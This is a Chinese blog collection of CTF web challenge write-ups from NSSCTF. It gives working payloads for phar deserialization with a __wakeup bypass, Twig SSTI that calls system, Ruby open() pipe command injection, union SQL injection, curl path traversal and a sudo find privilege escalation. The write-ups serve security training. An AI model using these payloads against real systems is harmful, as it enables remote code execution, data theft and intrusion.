NSSCTF web刷题记录4

news2024/11/25 7:13:37

文章目录

    • [NSSRound#4 SWPU]1zweb(revenge)
    • [强网杯 2019]高明的黑客
    • [BJDCTF 2020]Cookie is so subtle!
    • [MoeCTF 2021]fake game
    • [第五空间 2021]PNG图片转换器
    • [ASIS 2019]Unicorn shop
    • [justCTF 2020]gofs
    • [UUCTF 2022 新生赛]phonecode
    • [b01lers 2020]Life On Mars
    • [HZNUCTF 2023 final]ezgo


[NSSRound#4 SWPU]1zweb(revenge)

考点:phar反序列化、phar修改签名、__wakeup()绕过、gzip绕过

打开题目,发现可以查看源码
我们分别查看index.php和upload.php
(注意如果不全可以ctrl+u查看源码找到)

index.php

<?php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct(){
        $this->ljt="ljt";
        $this->dky="dky";
        phpinfo();
    }
    public function __destruct(){
        if($this->ljt==="Misc"&&$this->dky==="Re")
            eval($this->cmd);
    }
    public function __wakeup(){
        $this->ljt="Re";
        $this->dky="Misc";
    }
}
$file=$_POST['file'];
if(isset($_POST['file'])){
    if (preg_match("/flag/", $file)) {
    	die("nonono");
    }
    echo file_get_contents($file);
}

分析一下,存在LoveNss类,如果满足if条件则命令执行,不过可以发现要绕过__wakeup()方法,那么我们用属性数目大于实际即可,然后触发__destruct()也就是需要phar修改签名;然后就是POST参数file可以读取文件,但是过滤了flag

upload.php如下

<?php
if ($_FILES["file"]["error"] > 0){
    echo "上传异常";
}
else{
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
        $content=file_get_contents($_FILES["file"]["tmp_name"]);
        $pos = strpos($content, "__HALT_COMPILER();");
        if(gettype($pos)==="integer"){
            echo "ltj一眼就发现了phar";
        }else{
            if (file_exists("./upload/" . $_FILES["file"]["name"])){
                echo $_FILES["file"]["name"] . " 文件已经存在";
            }else{
                $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
                fwrite($myfile, $content);
                fclose($myfile);
                echo "上传成功 ./upload/".$_FILES["file"]["name"];
            }
        }
    }else{
        echo "dky不喜欢这个文件 .".$extension;
    }
}
?>

逻辑很简单,就是检测文件后缀是否合法,然后检测文件内容是否含有__HALT_COMPILER();也就是检测是否为phar文件

这道题目思路很清晰,就是要用phar伪协议读取文件,然后绕过__wakeup(),由于文件损坏要修改签名修复,然后用gzip压缩绕过
我们先构造exp

<?php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
}
$a=new LoveNss();
$a->ljt='Misc';
$a->dky='Re';
$a->cmd="system('cat /f*');";
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

然后将phar文件用010打开,并将其修改为4
在这里插入图片描述

phar文件是修改成功了,但这个时候这个phar是处于损坏状态的,因为我们修改了前面的数据导致后面的签名对不上。这个时候,我们还需要手动计算出这个新phar文件的签名,查看PHP手册找到phar的签名格式
在这里插入图片描述可以知道为SHA256签名格式

我们将刚刚的文件命名为hacker1.phar
然后修改签名脚本

from hashlib import sha256
with open("hacker1.phar",'rb') as f:
   text=f.read()
   main=text[:-40]        #正文部分(除去最后40字节)
   end=text[-8:]		  #最后八位也是不变的	
   new_sign=sha256(main).digest()
   new_phar=main+new_sign+end
   open("hacker1.phar",'wb').write(new_phar)     #将新生成的内容以二进制方式覆盖写入原来的phar文件

将修改好的phar文件gzip压缩一下,然后修改后缀
在这里插入图片描述上传,phar伪协议读取

file=phar://upload/hacker1.jpg/hacker1.phar

在这里插入图片描述

[强网杯 2019]高明的黑客

考点:脚本编写爆破

打开题目,发现有备份源码
在这里插入图片描述下载下来,发现有三千个
我们随便打开一个看看,发现存在getshell的过程
在这里插入图片描述
那么我们思路很简单,在这么多文件里找到可以利用的shell
脚本如下

import os
import requests
import re
import threading
import time
print('开始时间:  '+  time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100)  							  			#这儿设置最大的线程数
filePath = r"D:/phpstudy_pro/WWW/src/"
os.chdir(filePath)													#改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5								#设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False											 # 设置连接活跃状态为False
def get_content(file):
    s1.acquire()												
    print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))
    with open(file,encoding='utf-8') as f:							#打开php文件,提取所有的$_GET和$_POST的参数
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}														#所有的$_POST
    params = {}														#所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://127.0.0.1/src/'+file
    req = session.post(url, data=data, params=params)			#一次性请求所有的GET和POST
    req.close()												# 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    #print(content)
    if "xxxxxx" in content:									#如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()												# 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content = req.text
                req.close()												# 关闭请求  释放内存
                if "xxxxxx" in content:
                    break
        if flag == 1:													#flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()

for i in files:															#加入多线程
   t = threading.Thread(target=get_content, args=(i,))
   t.start()

大体流程就是先获取所有的GET和POST请求,然后一次性发送,观察是否存在可利用的shell,如果成功再先判断所有的GET里是否存在,然后判断POST里是否存在shell,通过flag参数值判断为哪个方式,最后输出可利用的shell文件。由于文件数目大,要用多线程

这里跑脚本可能跑不出来,按照下面步骤即可
1.需要开启phpstudy
2.将src文件夹放在phpstudy的WWW文件夹下
3.题中的PHP版本是7.3.5,需要修改本地PHP版本为7.3.5左右

成功找到(vscode跑出来数据不齐不好找)
在这里插入图片描述
命令执行,得到flag
在这里插入图片描述

[BJDCTF 2020]Cookie is so subtle!

考点:Twig模板注入

打开题目,发现存在ssti注入
输入{{7*'7'}},成功回显49,猜测Twig模板注入
在这里插入图片描述F12找到hint,提示去看cookie
在这里插入图片描述
我们抓包看一下,发现存在user参数(也就是注入点)
在这里插入图片描述网上随便找一个没被过滤的payload即可

{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("cat /flag")}}

得到flag
在这里插入图片描述

[MoeCTF 2021]fake game

考点:nodejs原型链污染

打开题目,提示只能分配十点数
在这里插入图片描述
我们抓包看看,发现是json格式
结合前面提示merge,猜测原型链污染
在这里插入图片描述
payload用postman发送即可(注意是json格式)
得到flag
在这里插入图片描述

[第五空间 2021]PNG图片转换器

考点:Ruby-利用File.open()执行shell命令

源码

require 'sinatra'
require 'digest'
require 'base64'

get '/' do
  open("./view/index.html", 'r').read()
end

get '/upload' do
  open("./view/upload.html", 'r').read()
end

post '/upload' do
  unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
    return "<script>alert('error');location.href='/upload';</script>"
  end
  begin
    filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
    open(filename, 'wb') { |f|
      f.write open(params[:file][:tempfile],'r').read()
    }
    "Upload success, file stored at #{filename}"
  rescue
    'something wrong'
  end

end

get '/convert' do
  open("./view/convert.html", 'r').read()
end

post '/convert' do
  begin
    unless params['file']
      return "<script>alert('error');location.href='/convert';</script>"
    end

    file = params['file']
    unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
      return "<script>alert('dont hack me');</script>"
    end
    res = open(file, 'r').read()
    headers 'Content-Type' => "text/html; charset=utf-8"
    "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
  rescue
    'something wrong'
  end
end

分析一下,./upload路由提供文件上传功能,允许的文件类型为png格式,上传成功后文件名进行加密;./convert路由作用是先检测是否为png格式文件,然后过滤../防止路径穿越,然后pen函数进行读取文件并将文件内容进行base64加密

这里getshell利用的是open()函数执行shell命令的漏洞,原理如下

以一个管道字符(|)开头,就会创建一个子进程,通过一对管道连接到调用者。 返回的IO对象可用于向该子进程的标准输入写入和从标准输出读取

我们先随便上传一张png图片
在这里插入图片描述

然后将ls /加密一下,利用反引号和管道符命令执行

file=| `echo bHMgLw== | base64 -d` > 52227927f0672cbaf6a331d49ac96ec3.png

大概执行过程是|左边的输出带入右边,也就是执行反引号里面的,解码完为ls /,然后再到|左边的输入带到右边,执行ls /写入到png文件里
在这里插入图片描述然后查看该png文件,解码
在这里插入图片描述
找了半天,发现flag在环境变量里
加密cat /proc/1/environ

file=| `echo Y2F0IC9wcm9jLzEvZW52aXJvbg== | base64 -d` > 52227927f0672cbaf6a331d49ac96ec3.png

解码得到flag
在这里插入图片描述

[ASIS 2019]Unicorn shop

考点:Unionde等价性的漏洞

打开题目,发现有四个独角兽的购买选择
尝试购买第四个,发现只能1个字符
在这里插入图片描述查看源码,发现提示UTF-8
在这里插入图片描述那么我们要找到一个比1337大的字符即可
题目提示python Unicode,可以知道编码不一致造成了转码安全问题
这里的字符不止一个,我找的是数值五万的(编码网站)
在这里插入图片描述
直接将该字符复制上去,即可得到flag
在这里插入图片描述

[justCTF 2020]gofs

考点:curl命令、目录穿越

源码如下

package main

import (
	"fmt"
	"io"
	fs "main/fs"
	"net/http"
	"os"
)

const FILE_MARKER = "\n\n~~~~~~~~~~~~~~ Generated by Go FileServ v0.0.0b ~~~~~~~~~~~~~\n\n(because writing file servers is eeaaassyyyy & fun!!!1111oneone)"
const VERSION = "FileServ v0.0.0b"

type wrapperW struct {
	http.ResponseWriter
}

func (w *wrapperW) ReadFrom(src io.Reader) (int64, error) {
	// if its a file, add the file marker length to its size
	if lr, ok := src.(*io.LimitedReader); ok {
		lr.N += int64(len(FILE_MARKER))
	}

	if w, ok := w.ResponseWriter.(interface{ ReadFrom(src io.Reader) (int64, error) }); ok {
		return w.ReadFrom(src)
	}

	panic("unreachable")
}

func main() {
	var path string
	if len(os.Args) < 2 {
		fmt.Println("Defaulting to serving current directory. Use ./fs <path> to serve different")
		path, _ = os.Getwd()
	} else {
		path = os.Args[1]
	}

	fileServ := http.FileServer(fs.CreateFileServFS(
		path,
		// Modify all responses by adding the file marker to them
		// we also need to adjust the file size in the ReadFrom because of to that...
		func(in []byte) (out []byte) {
			out = append(in, FILE_MARKER...)
			return
		}))

	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		w.Header().Set("Served-by", VERSION)
		w = &wrapperW{w}
		fileServ.ServeHTTP(w, r)
	})

	http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
		w.Header().Set("Served-by", VERSION)
		w.Write([]byte(`No flag for you!`))
	})

    port := "8080"
    fmt.Println("Hosting on port", port)
	err := http.ListenAndServe(":"+port, nil)
	fmt.Println(err)
}

分析一下,main函数首先检测参数是否小于2,然后创建了一个http.FileServer,并传入fs.CreateFileServFS()函数的返回值作为参数,能够访问文件。然后就是HandleFunc的一个映射路由/,存在文件读取功能,./flag路由为假flag

看到关键代码

fileServ := http.FileServer(fs.CreateFileServFS(
		path,
		// Modify all responses by adding the file marker to them
		// we also need to adjust the file size in the ReadFrom because of to that...
		func(in []byte) (out []byte) {
			out = append(in, FILE_MARKER...)
			return
		}))

整个代码片段的作用是创建一个文件服务器,并对所有响应进行修改,在响应内容的末尾添加FILE_MARKER。文件服务器使用fs.CreateFileServFS()创建的文件系统来提供文件服务。在每个响应返回之前,会先调用匿名函数对响应内容进行修改。

我们可以利用curl命令的参数--path-as-is去绕过
(会使curl完全按照URL中提供的方式发送路径,而不会删除任何点段)

curl -X CONNECT --path-as-is http://node4.anna.nssctf.cn:28929/../flag

得到flag
在这里插入图片描述

[UUCTF 2022 新生赛]phonecode

考点:随机数预测

打开题目,提示我们输入手机号(不给hhh)
我们输入1,1看看,发现有hint是随机数,并且我们修改code的值,随机数固定不变
那么查找下php函数,成功找到(固定不变说明有算法)

mt_rand函数

使用 Mersenne Twister 算法生成一个指定范围内的随机整数。参数 $min 和 $max 分别指定了随机数的最小值和最大值。

我们本地测试下,发现hint就是第一次的随机数
在这里插入图片描述
那么我们猜测code值为第二次的随机数
提交试试,得到flag
在这里插入图片描述

[b01lers 2020]Life On Mars

考点:联合查询注入

打开题目,点了半天没发现参数直接抓包

在这里插入图片描述
大概测试了下,过滤了空格
那么我们先爆字段数

/query?search=amazonis_planitia/**/union/**/select/**/1,2&{}&_=1699240477632

发现有两列
在这里插入图片描述
爆库名

/query?search=amazonis_planitia/**/union/**/select/**/1,database()&{}&_=1699240477632

在这里插入图片描述
爆表名

/query?search=amazonis_planitia/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='alien_code'&{}&_=1699240477632

在这里插入图片描述
爆列名

/query?search=amazonis_planitia/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='code'&{}&_=1699240477632

在这里插入图片描述
查询数据得到flag

/query?search=amazonis_planitia/**/union/**/select/**/1,group_concat(id,code)/**/from/**/code&{}&_=1699240477632

在这里插入图片描述

[HZNUCTF 2023 final]ezgo

考点:sudo提权

打开题目,提示传参
在这里插入图片描述
随便传flag,发现提示未在路径找到
在这里插入图片描述
那么试试shit=/flag发现权限不够
在这里插入图片描述那么就要提权,我们看看/usr/bin/路径下有什么可以利用的
试试sudo查看下,发现能用
然后看看权限,有find命令可以用
在这里插入图片描述构造payload,得到flag

shit=/usr/bin/sudo find . -exec cat /flag \; -quit

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1176276.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【qemu逃逸】GACTF2020-babyqemu

前言 虚拟机用户名&#xff1a;root 无密码 设备逆向 题目去掉的符号&#xff0c;经过逆向分析&#xff0c;实例结构体如下&#xff1a; 可以看到 arr_int_8 数组后面存在一个函数指针&#xff0c;不用想基本上就是劫持该函数指针了。 denc_mmio_read 函数 这里存在越界读…

.net core 到底行不行!超高稳定性和性能的客服系统:性能实测

业余时间用 .net core 写了一个升讯威在线客服系统。并在博客园写了一个系列的文章&#xff0c;介绍了这个开发过程。 我把这款业余时间写的小系统丢在网上&#xff0c;陆续有人找我要私有化版本&#xff0c;我都给了&#xff0c;毕竟软件业的初衷就是免费和分享&#xff0c;后…

最新知识付费变现小程序源码/独立后台知识付费小程序源码/修复登录接口

最新知识付费变现小程序源码&#xff0c;独立后台知识付费小程序源码&#xff0c;最新版修复登录接口。 主要功能 会员系统&#xff0c;用户登录/注册购买记录 收藏记录 基本设置 后台控制导航颜色 字体颜色 标题等设置 流量主广告开关小程序广告显示隐藏 广告主审核过审核…

VS2022创建win32汇编项目

文章目录 一、下载安装win32环境1.1、下载网址&#xff1a;https://masm32.com/1.2、解压缩安装1.3、安装路径1.4、安装masm32 SDK1.5、安装成功1.6、导入lib1.7、配置默认&#xff0c;可以根据自己需求修改1.8、启动界面二、vs2022 安装过程略过。。。2.1、创建项目2.2、填写项…

高通Android 8.1 扫码枪无法扫sn包含2或者全部是2的问题

背景&#xff1a;由于近期工厂生产&#xff0c;测试突然反馈扫码枪扫sn总是丢失2&#xff0c;比如 AXB2SHS822009997/LSXG 结果显示是 AXBSHS800997/LSX 于是我叫测试找了之前可以版本然后抓日志进行对比发现&#xff0c;确实只有2这个数字无法扫&#xff0c;如果把2这一位改成…

California Science Museum

文章目录 1. University of Southern California(USC)2. NASA航天飞机3. 返回舱4. Others彩蛋1: Paris, capital of France彩蛋2: Switzerland(瑞士)1. University of Southern California(USC) 2. NASA航天飞机

运动耳机品牌排行榜,推荐几款优秀的运动耳机

​说起耳机&#xff0c;相信大家都比较熟悉&#xff0c;特别是对于喜欢运动的爱好人士来说&#xff0c;那更是随身携带着。随着运动耳机的增长&#xff0c;大家都不知道该如何选择了。对于运动耳机除了需要佩戴稳固舒适之外&#xff0c;还有就是音质表现、防水性能、通话质量等…

外汇天眼实勘功能升级,带你沉浸式“云”穿交易商现场!

最近&#xff0c;外汇天眼新出了一个功能&#xff0c;这个功能可了不得了&#xff0c;不管你在国外还是在国内&#xff0c;它都能带你走进交易商现场。不过在介绍该功能之前&#xff0c;天眼君先问大家几个问题&#xff1a;在进行外汇交易前&#xff0c;你对自己的交易平台了解…

项目启动∣得益乳业引进企企通采购供应链管理+智采商城平台,切实提升供应链效率

近日&#xff0c;山东得益乳业股份有限公司&#xff08;以下简称“得益乳业”&#xff09;与企企通成功召开采购供应链管理智采商城双项目启动会。双方高层领导及项目团队关键成员&#xff0c;一同出席本次启动会。 本次合作以企企通数字化采购解决方案为基础&#xff0c;结合得…

基于 golang 从零到一实现时间轮算法 (三)

引言 本文参考小徐先生的相关博客整理&#xff0c;项目地址为&#xff1a; https://github.com/xiaoxuxiansheng/timewheel/blob/main/redis_time_wheel.go。主要是完善流程以及记录个人学习笔记。 分布式版实现 本章我们讨论一下&#xff0c;如何基于 redis 实现分布式版本的…

Java零基础手把手保姆级教程_类和对象(超详细)

文章目录 Java零基础手把手保姆级教程_类和对象&#xff08;超详细&#xff09;1. 类和对象1.1 类和对象的理解1.2 类的定义1.3 对象的使用1.4 学生对象-练习1.5测测你掌握了没&#xff1f; 2. 对象内存图2.1 单个对象内存图2.2 多个对象内存图2.3 多个对象指向相同内存图 3. 成…

从首届中国测绘地理信息大会,解读2023年度国产GIS创新关键词

创新是什么&#xff1f;这是各行各业持续思考的问题。 第一届中国测绘地理信息大会已进入倒计时&#xff01;这是中国测绘学会、中国地理信息产业协会和中国卫星导航定位协会共同主办的全国性高端盛会。据悉&#xff0c;本次大会将有1个主论坛、38场分论坛&#xff0c;近2万平…

YOLOv8改进有效涨点系列->多位置替换可变形卷积(DCNv1、DCNv2、DCNv3)

本文介绍 这篇文章主要给大家讲解如何在多个位置替换可变形卷积&#xff0c;它有三个版本分别是DCNv1、DCNv2、DCNv3&#xff0c;在本篇博文中会分别进行介绍同时进行对比&#xff0c;通过本文你可以学会在YOLOv8中各个位置添加可变形卷积包括(DCNv1、DCNv2、DCNv3)&#xff0…

【每日OJ题—— 142. 环形链表 II (链表)】

每日OJ题—— 142. 环形链表 II &#xff08;链表&#xff09; 1.题目&#xff1a;142. 环形链表 II 2.方法讲解2.1.解法一&#xff1a;2.1.1.图文解析2.1.2.代码实现2.1.3.提交通过展示 2.2解法二:2.2.1图文解析2.2.2代码实现2.2.3.提交通过展示 1.题目&#xff1a;142. 环形链…

山西电力市场日前价格预测【2023-11-07】

日前价格预测 预测说明&#xff1a; 如上图所示&#xff0c;预测明日&#xff08;2023-11-07&#xff09;山西电力市场全天平均日前电价为318.54元/MWh。其中&#xff0c;最高日前电价为514.01元/MWh&#xff0c;预计出现在18: 00。最低日前电价为192.95元/MWh&#xff0c;预计…

ZKP16 Hardware Acceleration of ZKP

ZKP学习笔记 ZK-Learning MOOC课程笔记 Lecture 16: Hardware Acceleration of ZKP (Guest Lecturer: Kelly Olson) The What and Why of Hardware Acceleration Hardware acceleration is the use of dedicated hardware to accelerate an operation so that it runs faster…

Intel oneAPI笔记(3)--jupyter官方文档(SYCL Program Structure)学习笔记

前言 本文是对jupyterlab中oneAPI_Essentials/02_SYCL_Program_Structure文档的学习记录&#xff0c;包含对Device Selector、Data Parallel Kernel、Host Accessor、Buffer Destruction、的介绍&#xff0c;最后还有一个小关于向量&#xff08;Vector&#xff09;加法的实例 …

zookeeper本地部署和集群搭建

zookeeper&#xff08;动物园管理员&#xff09;是一个广泛应用于分布式服务提供协调服务Apache的开源框架 Zookeeper从设计模式角度来理解&#xff1a;是一个基于观察者模式设计的分布式服务管理框架&#xff0c;它 负责存储和管理大家都关心的数据 &#xff0c;然 后 接受观察…

STM32单片机在线升级,手机在线升级STM32单片机,固件远程下载方法,局域网在线程序下载

STM32单片机&#xff0c;是我们最常见的一种MCU。通常我们在使用STM32单片机都会遇到程序在线升级下载的问题。 STM32单片机的在线下载通常需要以下几种方式完成&#xff1a; 1、使用ST提供的串口下载工具&#xff0c;本地完成固件的升级下载。 2、自行完成系统BootLoader的编写…

leetcode每日一题复盘(11.6~11.12)

leetcode 37 解数独 回溯算法的最后一种问题:棋盘问题,前面的N皇后也是棋盘问题,只不过N皇后只需要一层放一个数据,数独需要多次放入数据且保证数据不冲突 方法是通过bool返回值进行多次递归,每次递归放入一个数据,将该层数据填满后换下一层